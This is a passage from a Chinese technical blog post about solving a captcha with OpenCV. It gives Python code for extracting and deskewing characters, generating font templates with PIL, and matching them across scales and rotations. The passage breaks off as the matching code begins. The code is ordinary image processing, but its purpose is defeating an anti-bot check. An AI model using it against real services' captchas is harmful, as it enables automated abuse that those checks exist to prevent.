</span></span><span class="line"><span class="ln">13</span><span class="cl">    
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="c1"># Find contours, sort them</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">contours</span><span class="p">,</span> <span class="n">hierarchy</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">findContours</span><span class="p">(</span><span class="n">dilation</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">RETR_EXTERNAL</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">CHAIN_APPROX_SIMPLE</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">contours</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">contours</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">],</span> <span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">])))</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">chars</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">for</span> <span class="n">cnt</span> <span class="ow">in</span> <span class="n">contours</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="c1"># Contour approximation</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="n">rect</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">            <span class="n">epsilon</span> <span class="o">=</span> <span class="p">(</span><span class="mf">0.01</span> <span class="o">+</span> <span class="mf">0.01</span> <span class="o">*</span> <span class="n">i</span><span class="p">)</span> <span class="o">*</span> <span class="n">cv2</span><span class="o">.</span><span class="n">arcLength</span><span class="p">(</span><span class="n">cnt</span><span class="p">,</span> <span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">            <span class="n">box</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">approxPolyDP</span><span class="p">(</span><span class="n">cnt</span><span class="p">,</span> <span class="n">epsilon</span><span class="p">,</span> <span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="n">box</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">float32</span><span class="p">(</span><span class="n">box</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">box</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">4</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">                <span class="k">break</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">box</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;NOOOOOO! Fall Back!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">            <span class="n">rect</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">minAreaRect</span><span class="p">(</span><span class="n">cnt</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">            <span class="n">box</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">boxPoints</span><span class="p">(</span><span class="n">rect</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">            <span class="n">box</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">float32</span><span class="p">(</span><span class="n">box</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="c1"># Transform to a single image</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="n">points</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">float32</span><span class="p">([[</span><span class="mi">25</span><span class="p">,</span> <span class="mi">25</span><span class="p">],</span> <span class="p">[</span><span class="mi">25</span><span class="p">,</span> <span class="mi">125</span><span class="p">],</span> <span class="p">[</span><span class="mi">125</span><span class="p">,</span> <span class="mi">125</span><span class="p">]])</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="n">M</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">getAffineTransform</span><span class="p">(</span><span class="n">box</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">3</span><span class="p">],</span> <span class="n">points</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="n">processed</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">warpAffine</span><span class="p">(</span><span class="n">binary</span><span class="p">,</span> <span class="n">M</span><span class="p">,</span> <span class="p">(</span><span class="mi">150</span><span class="p">,</span> <span class="mi">150</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="k">if</span> <span class="n">rect</span> <span class="ow">and</span> <span class="n">rect</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="o">-</span><span class="mf">80.0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">            <span class="n">processed</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">rot90</span><span class="p">(</span><span class="n">processed</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">        
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="c1"># Refind countour</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="n">kernel</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">ones</span><span class="p">((</span><span class="mi">11</span><span class="p">,</span> <span class="mi">11</span><span class="p">),</span> <span class="n">np</span><span class="o">.</span><span class="n">uint8</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">        <span class="n">_dilation</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">dilate</span><span class="p">(</span><span class="n">processed</span><span class="p">,</span> <span class="n">kernel</span><span class="p">,</span> <span class="n">iterations</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">        <span class="n">_contours</span><span class="p">,</span> <span class="n">_hierarchy</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">findContours</span><span class="p">(</span><span class="n">_dilation</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">RETR_EXTERNAL</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">CHAIN_APPROX_SIMPLE</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">        
</span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">_contours</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;HELPPPPP More Than ONE Contours&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">_contours</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">        
</span></span><span class="line"><span class="ln">51</span><span class="cl">        <span class="n">cnt</span> <span class="o">=</span> <span class="n">_contours</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">        
</span></span><span class="line"><span class="ln">53</span><span class="cl">        <span class="c1"># Find rectangle</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">        <span class="n">rect</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">minAreaRect</span><span class="p">(</span><span class="n">cnt</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">        <span class="n">box</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">boxPoints</span><span class="p">(</span><span class="n">rect</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">        <span class="n">box</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">float32</span><span class="p">(</span><span class="n">box</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">        
</span></span><span class="line"><span class="ln">58</span><span class="cl">        <span class="c1"># Transform to a single image</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">        <span class="n">points</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">float32</span><span class="p">([[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">100</span><span class="p">],</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="p">[</span><span class="mi">100</span><span class="p">,</span> <span class="mi">0</span><span class="p">]])</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">        <span class="n">M</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">getAffineTransform</span><span class="p">(</span><span class="n">box</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">3</span><span class="p">],</span> <span class="n">points</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">        <span class="n">processed</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">warpAffine</span><span class="p">(</span><span class="n">processed</span><span class="p">,</span> <span class="n">M</span><span class="p">,</span> <span class="p">(</span><span class="mi">100</span><span class="p">,</span> <span class="mi">100</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">        <span class="k">if</span> <span class="n">rect</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="o">-</span><span class="mf">80.0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">            <span class="n">processed</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">rot90</span><span class="p">(</span><span class="n">processed</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">        
</span></span><span class="line"><span class="ln">65</span><span class="cl">        <span class="n">chars</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">processed</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">    
</span></span><span class="line"><span class="ln">67</span><span class="cl">    <span class="k">return</span> <span class="n">chars</span></span></span></code></pre></div><p>该函数按顺序做了这些事情：</p>
<ol>
<li>
<p>将原图做二值化，并转化为黑底白字的形式。</p>
</li>
<li>
<p>对字符做膨胀，让字符分离的部分（例如 <code>i</code>, <code>j</code> 的点）连接便于寻找轮廓。</p>
</li>
<li>
<p>使用 <code>cv2.findContours()</code> 查找所有的轮廓。</p>
</li>
<li>
<p>遍历所有的轮廓：</p>
<p>a. 使用 <code>cv2.approxPolyDP()</code> 对当前轮廓做四边形近似。</p>
<p>b. 如果无法取得四边形的近似，则更改方案使用 <code>cv2.minAreaRect()</code> 获取最小外接矩形。</p>
<p>c. 使用 <code>cv2.warpAffine()</code> 将获得的四边形轮廓映射成一个 150 × 150 的正方形图片。如 minAreaRect 返回的旋转角小于 -80°，则对图片做逆时针旋转 90°。</p>
<p>d. 对这张正方形图片做膨胀，让字符连接。</p>
<p>e. 再次使用 <code>cv2.findContours()</code> 查找轮廓，如果有多于一个轮廓则报错。无论如何选择列表中的 0 号轮廓。</p>
<p>f. 使用 <code>cv2.minAreaRect()</code> 获取最小外接矩形。</p>
<p>g. 使用 <code>cv2.warpAffine()</code> 将这个矩形映射为最终的 100 × 100 大小的一张正方形图片。如 minAreaRect 返回的旋转角小于 -80°，则对图片做逆时针旋转 90°。</p>
</li>
</ol>
<p>最终函数返回一个列表，包含了每个字符矫正后的独立图像。提取出来的字符大概是下面这种诡异画风：</p>
<p><img src="../SE-captcha.assets/traditional-extract-example.png" alt="traditional-extract-example"></p>
<h3 id="生成模板">生成模板</h3>
<p>提取出了字符，下面就要做匹配了。我准备采用简单粗暴的模板匹配，也就是 <code>cv2.matchTemplate()</code>。做模板匹配，首先需要生成模板。这里借鉴了 <a href="https://www.cnblogs.com/mmhx/p/3819776.html">Python PIL创建文字图片</a> 这篇博客的代码，魔改成了我的模板生成代码。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># Learn from: https://www.cnblogs.com/mmhx/p/3819776.html</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span><span class="p">,</span><span class="n">ImageDraw</span><span class="p">,</span><span class="n">ImageFont</span><span class="p">,</span><span class="n">ImageOps</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">class</span> <span class="nc">LetterImage</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fontFile</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="n">imgSize</span><span class="o">=</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">imgMode</span><span class="o">=</span><span class="s1">&#39;RGB&#39;</span><span class="p">,</span> <span class="n">bg_color</span><span class="o">=</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">fg_color</span><span class="o">=</span><span class="p">(</span><span class="mi">255</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">255</span><span class="p">),</span> <span class="n">fontsize</span><span class="o">=</span><span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">imgSize</span> <span class="o">=</span> <span class="n">imgSize</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">imgMode</span> <span class="o">=</span> <span class="n">imgMode</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">fontsize</span> <span class="o">=</span> <span class="n">fontsize</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">bg_color</span> <span class="o">=</span> <span class="n">bg_color</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">fg_color</span> <span class="o">=</span> <span class="n">fg_color</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="k">if</span> <span class="s1">&#39;&#39;</span> <span class="o">==</span> <span class="n">fontFile</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">font</span> <span class="o">=</span> <span class="n">ImageFont</span><span class="o">.</span><span class="n">truetype</span><span class="p">(</span><span class="s1">&#39;times.ttf&#39;</span><span class="p">,</span> <span class="n">fontsize</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">font</span> <span class="o">=</span> <span class="n">ImageFont</span><span class="o">.</span><span class="n">truetype</span><span class="p">(</span><span class="n">fontFile</span><span class="p">,</span> <span class="n">fontsize</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="k">def</span> <span class="nf">GenLetterImage</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">letters</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="c1"># Generate the Image of letters</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">letters</span> <span class="o">=</span> <span class="n">letters</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">letterWidth</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">letterHeight</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">font</span><span class="o">.</span><span class="n">getsize</span><span class="p">(</span><span class="n">letters</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">imgSize</span> <span class="o">==</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">imgSize</span> <span class="o">=</span> <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">letterWidth</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">letterHeight</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">imgWidth</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">imgHeight</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">imgSize</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">img</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">imgMode</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">imgSize</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">bg_color</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">drawBrush</span> <span class="o">=</span> <span class="n">ImageDraw</span><span class="o">.</span><span class="n">Draw</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">img</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="n">textY0</span> <span class="o">=</span> <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">imgHeight</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">letterHeight</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="n">textY0</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">textY0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        <span class="n">textX0</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((</span><span class="bp">self</span><span class="o">.</span><span class="n">imgWidth</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">letterWidth</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;text location:&#39;</span><span class="p">,(</span><span class="n">textX0</span><span class="p">,</span> <span class="n">textY0</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;text size (width,height):&#39;</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">letterWidth</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">letterHeight</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;img size(width,height):&#39;</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">imgSize</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">drawBrush</span><span class="o">.</span><span class="n">text</span><span class="p">((</span><span class="n">textX0</span><span class="p">,</span> <span class="n">textY0</span><span class="p">),</span> <span class="bp">self</span><span class="o">.</span><span class="n">letters</span><span class="p">,</span> <span class="n">fill</span><span class="o">=</span><span class="bp">self</span><span class="o">.</span><span class="n">fg_color</span><span class="p">,</span> <span class="n">font</span><span class="o">=</span><span class="bp">self</span><span class="o">.</span><span class="n">font</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="k">def</span> <span class="nf">SaveImg</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">saveName</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="k">if</span> <span class="s1">&#39;&#39;</span> <span class="o">==</span> <span class="n">saveName</span><span class="o">.</span><span class="n">strip</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">            <span class="n">saveName</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">letters</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;utf8&#39;</span><span class="p">))</span> <span class="o">+</span> <span class="s1">&#39;.png&#39;</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="n">fileName</span><span class="p">,</span> <span class="n">file_format</span> <span class="o">=</span> <span class="n">saveName</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="c1"># fileName += &#39;_&#39; + str(self.fontsize) + &#39;.&#39; + file_format</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">fileName</span><span class="p">,</span> <span class="n">file_format</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">img</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">saveName</span><span class="p">,</span> <span class="n">file_format</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">    
</span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="k">def</span> <span class="nf">Show</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">img</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">
</span></span><span class="line"><span class="ln">45</span><span class="cl">
</span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="k">def</span> <span class="nf">generate</span><span class="p">(</span><span class="n">fontFile</span><span class="p">,</span> <span class="n">font_type</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">    <span class="n">letterList</span> <span class="o">=</span> <span class="n">LetterImage</span><span class="p">(</span><span class="n">fontFile</span><span class="o">=</span><span class="n">fontFile</span><span class="p">,</span> <span class="n">imgSize</span><span class="o">=</span><span class="p">(</span><span class="mi">100</span><span class="p">,</span> <span class="mi">100</span><span class="p">),</span> <span class="n">bg_color</span><span class="o">=</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">fontsize</span><span class="o">=</span><span class="mi">50</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">        <span class="n">letter</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;0&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">        <span class="n">letterList</span><span class="o">.</span><span class="n">GenLetterImage</span><span class="p">(</span><span class="n">letter</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">        <span class="n">letterList</span><span class="o">.</span><span class="n">SaveImg</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;template/</span><span class="si">{</span><span class="n">font_type</span><span class="si">}</span><span class="s2">_</span><span class="si">{</span><span class="n">letter</span><span class="si">}</span><span class="s2">.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">26</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">        <span class="n">letter</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">        <span class="n">letterList</span><span class="o">.</span><span class="n">GenLetterImage</span><span class="p">(</span><span class="n">letter</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">        <span class="n">letterList</span><span class="o">.</span><span class="n">SaveImg</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;template/</span><span class="si">{</span><span class="n">font_type</span><span class="si">}</span><span class="s2">_</span><span class="si">{</span><span class="n">letter</span><span class="si">}</span><span class="s2">.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">    <span class="c1"># for i in range(26):</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">    <span class="c1">#     letter = chr(ord(&#39;A&#39;) + i)</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">    <span class="c1">#     letterList.GenLetterImage(letter)</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">    <span class="c1">#     letterList.SaveImg(f&#34;template/{font_type}_{letter}_cap.png&#34;)</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">
</span></span><span class="line"><span class="ln">61</span><span class="cl">
</span></span><span class="line"><span class="ln">62</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span><span class="o">==</span><span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">    <span class="n">generate</span><span class="p">(</span><span class="s2">&#34;times.ttf&#34;</span><span class="p">,</span> <span class="s2">&#34;serif&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">    <span class="n">generate</span><span class="p">(</span><span class="s2">&#34;msyh.ttc&#34;</span><span class="p">,</span> <span class="s2">&#34;sans-serif&#34;</span><span class="p">)</span></span></span></code></pre></div><p>生成出来的字符模板是这样子的：</p>
<p><img src="../SE-captcha.assets/template-example.png" alt="template-example"></p>
<h3 id="模板匹配">模板匹配</h3>
<p>提取好字符，生成好模板，下面就可以开心的做匹配了！</p>
<p>但是又遇到这么几个问题：</p>
<ol>
<li>这个模板和提取的字符长得完全不像啊！</li>
<li><code>cv2.matchTemplate()</code> 做模板匹配的时候，并不会做任何大小的改变，也就是说我需要尽量保证大小一致，但是这个大小怎么控制呢？</li>
<li>旋转也是要考虑的问题，大部分字符都会存在一定的旋转角，这个怎么解决？</li>
</ol>
<p>对于这几个问题，我采取的解决方法是：</p>
<ol>
<li>匹配之前，模板图片也使用同样的 <code>extract_char()</code> 函数进行一遍处理。由于分辨率原因，第一次膨胀需要采用和字符提取时不同的参数。这个需要摸索一下找到最佳参数，尽量使得处理后的模板和处理后的字符大小相近。</li>
<li>自适应大小。从缩小 12% 到放大 12%，以 1.5% 为间隔进行缩放，分别匹配。</li>
<li>自适应旋转角度。从 -100° 到 100° 以 20° 为间隔进行旋转，分别匹配。</li>
</ol>
<p>这里的旋转角和缩放大小都可以看情况调节。需要权衡的是：旋转角度和缩放大小的数量更多能保证更精确的匹配，但是一味的增加角度和大小的数量又会导致性能下降。</p>
<p>下面是用于模板匹配的代码。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">cv2</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">import</span> <span class="nn">glob</span>
